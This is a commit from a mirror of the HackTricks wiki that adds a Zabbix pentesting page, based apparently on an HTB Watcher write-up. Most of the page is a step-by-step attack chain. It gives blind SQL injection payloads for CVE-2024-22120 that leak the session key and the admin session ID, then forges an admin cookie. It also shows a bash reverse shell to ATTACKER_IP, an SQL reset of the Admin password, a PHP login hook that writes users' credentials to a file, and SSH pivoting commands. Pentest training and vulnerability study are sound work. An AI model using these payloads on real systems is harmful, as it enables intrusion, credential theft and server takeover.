mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Add content from: HTB Watcher — From Zabbix CVE‑2024‑22120 to Admin/RCE and a ...
This commit is contained in:
		
							parent
							
								
									96defaa9b3
								
							
						
					
					
						commit
						1d2fc8695b
					
				| @ -497,6 +497,7 @@ | ||||
|   - [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md) | ||||
|   - [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md) | ||||
|   - [Wsgi](network-services-pentesting/pentesting-web/wsgi.md) | ||||
|   - [Zabbix](network-services-pentesting/pentesting-web/zabbix.md) | ||||
| - [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md) | ||||
| - [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md) | ||||
| - [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md) | ||||
|  | ||||
| @ -105,6 +105,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno | ||||
| - [**Wordpress**](wordpress.md) | ||||
| - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) | ||||
| - [**Sitecore**](sitecore/index.html) | ||||
| - [**Zabbix**](zabbix.md) | ||||
| 
 | ||||
| _Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\ | ||||
| If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!). | ||||
| @ -180,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs | ||||
| Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**. | ||||
| 
 | ||||
| - Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) | ||||
| - **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors | ||||
| - **Add "[]", "]]", and "[["** in **cookie values** and **parameter** values to create errors | ||||
| - Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** | ||||
| - Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE | ||||
| 
 | ||||
| @ -427,4 +428,4 @@ Entry_12: | ||||
|   Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters} | ||||
| ``` | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
							
								
								
									
										166
									
								
								src/network-services-pentesting/pentesting-web/zabbix.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										166
									
								
								src/network-services-pentesting/pentesting-web/zabbix.md
									
									
									
									
									
										Normal file
									
								
							| @ -0,0 +1,166 @@ | ||||
| # Zabbix Security | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| ## Overview | ||||
| 
 | ||||
| Zabbix is a monitoring platform exposing a web UI (typically behind Apache/Nginx) and a server component that also talks the Zabbix protocol on TCP/10051 (server/trapper) and agent on TCP/10050. During engagements you may encounter: | ||||
| 
 | ||||
| - Web UI: HTTP(S) virtual host like zabbix.example.tld | ||||
| - Zabbix server port: 10051/tcp (JSON over a ZBXD header framing) | ||||
| - Zabbix agent port: 10050/tcp | ||||
| 
 | ||||
| Useful cookie format: zbx_session is Base64 of a compact JSON object that includes at least sessionid, serverCheckResult, serverCheckTime and sign. The sign is an HMAC of the JSON payload. | ||||
| 
 | ||||
| ## zbx_session cookie internals | ||||
| 
 | ||||
| Recent Zabbix versions compute the cookie like: | ||||
| 
 | ||||
| - data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>} | ||||
| - sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators) | ||||
| - Final cookie: Base64(JSON_with_sign) | ||||
| 
 | ||||
| If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI. | ||||
| 
 | ||||
| ## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log | ||||
| 
 | ||||
| Affected versions (as publicly documented): | ||||
| 
 | ||||
| - 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1 | ||||
| 
 | ||||
| Vulnerability summary: | ||||
| 
 | ||||
| - When a Script execution is recorded into the Zabbix Server audit log, the clientip field is not sanitized and is concatenated into SQL, enabling time-based blind SQLi via the server component. | ||||
| - This is exploitable by sending a crafted "command" request to the Zabbix server port 10051 with a valid low-privileged sessionid, a hostid the user can access, and a permitted scriptid. | ||||
| 
 | ||||
| Preconditions and discovery tips: | ||||
| 
 | ||||
| - sessionid: From guest/login in the web UI, decode zbx_session (Base64) to get sessionid. | ||||
| - hostid: Observe via web UI requests (e.g., Monitoring → Hosts) or intercept with a proxy; common default is 10084. | ||||
| - scriptid: Only scripts permitted to the current role will execute; verify by inspecting the script menu/AJAX responses. Defaults like 1 or 2 are often allowed; 3 may be denied. | ||||
| 
 | ||||
| ### Exploitation flow | ||||
| 
 | ||||
| 1) Trigger audit insert with SQLi in clientip | ||||
| 
 | ||||
| - Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated. | ||||
| 
 | ||||
| Minimal message (JSON body) fields: | ||||
| 
 | ||||
| ```json | ||||
| { | ||||
|   "request": "command", | ||||
|   "sid": "<low-priv-sessionid>", | ||||
|   "scriptid": "1", | ||||
|   "clientip": "' + (SQL_PAYLOAD) + '", | ||||
|   "hostid": "10084" | ||||
| } | ||||
| ``` | ||||
| 
 | ||||
| The full wire format is: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. You can use pwntools or your own socket code to frame it. | ||||
| 
 | ||||
| 2) Time-bruteforce secrets via conditional sleep | ||||
| 
 | ||||
| Use conditional expressions to leak hex-encoded secrets 1 char at a time by measuring response time. Examples that have worked in practice: | ||||
| 
 | ||||
| - Leak global session_key from config: | ||||
| 
 | ||||
| ```sql | ||||
| (select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END) | ||||
| ``` | ||||
| 
 | ||||
| - Leak Admin session_id (userid=1) from sessions: | ||||
| 
 | ||||
| ```sql | ||||
| (select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END) | ||||
| ``` | ||||
| 
 | ||||
| Notes: | ||||
| 
 | ||||
| - charset: 32 hex chars [0-9a-f] | ||||
| - Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt | ||||
| - Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work | ||||
| 
 | ||||
| 3) Forge Admin cookie | ||||
| 
 | ||||
| Once you have: | ||||
| 
 | ||||
| - session_key: 32-hex from config.session_key | ||||
| - admin_sessionid: 32-hex from sessions.sessionid for userid=1 | ||||
| 
 | ||||
| Compute: | ||||
| 
 | ||||
| - sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact)) | ||||
| - zbx_session = Base64(JSON_with_sign) | ||||
| 
 | ||||
| Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access. | ||||
| 
 | ||||
| ### Ready-made tooling | ||||
| 
 | ||||
| - Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests. | ||||
| - Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute. | ||||
| 
 | ||||
| ## RCE via Script execution (post-Admin) | ||||
| 
 | ||||
| With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts): | ||||
| 
 | ||||
| - Quick check: run id to confirm user context | ||||
| - Reverse shell example: | ||||
| 
 | ||||
| ```bash | ||||
| bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | ||||
| ``` | ||||
| 
 | ||||
| TTY upgrade (Linux): | ||||
| 
 | ||||
| ```bash | ||||
| script /dev/null -c bash | ||||
| # background with Ctrl+Z, then on attacker terminal: | ||||
| stty raw -echo; fg | ||||
| reset | ||||
| ``` | ||||
| 
 | ||||
| If you have DB access, an alternative to forging a cookie is resetting the Admin password to the documented bcrypt for "zabbix": | ||||
| 
 | ||||
| ```sql | ||||
| UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin'; | ||||
| ``` | ||||
| 
 | ||||
| ## Credential capture via login hook (post-exploitation) | ||||
| 
 | ||||
| If file write is possible on the web UI server, you can temporarily add a logging snippet to /usr/share/zabbix/index.php around the form-based login branch to capture credentials: | ||||
| 
 | ||||
| ```php | ||||
| // login via form | ||||
| if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) { | ||||
|   $user = $_POST['name'] ?? '??'; | ||||
|   $password = $_POST['password'] ?? '??'; | ||||
|   $f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f); | ||||
|   CSessionHelper::set('sessionid', CWebUser::$data['sessionid']); | ||||
| } | ||||
| ``` | ||||
| 
 | ||||
| Users authenticate normally; read /dev/shm/creds.txt afterwards. Remove the hook when done. | ||||
| 
 | ||||
| ## Pivoting to internal services | ||||
| 
 | ||||
| Even if the service account shell is /usr/sbin/nologin, adding an SSH authorized_keys entry and using -N -L allows local port-forwarding to loopback-only services (e.g., CI/CD at 8111): | ||||
| 
 | ||||
| ```bash | ||||
| ssh -i key user@host -N -L 8111:127.0.0.1:8111 | ||||
| ``` | ||||
| 
 | ||||
| See more tunneling patterns in: Check [Tunneling and Port Forwarding](../../generic-hacking/tunneling-and-port-forwarding.md). | ||||
| 
 | ||||
| ## Operational tips | ||||
| 
 | ||||
| - Validate scriptid is permitted for the current role (guest may have a limited set) | ||||
| - Timing brute can be slow; cache recovered admin sessionid and reuse it | ||||
| - The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length | ||||
| 
 | ||||
| ## References | ||||
| 
 | ||||
| - [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html) | ||||
| - [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE) | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user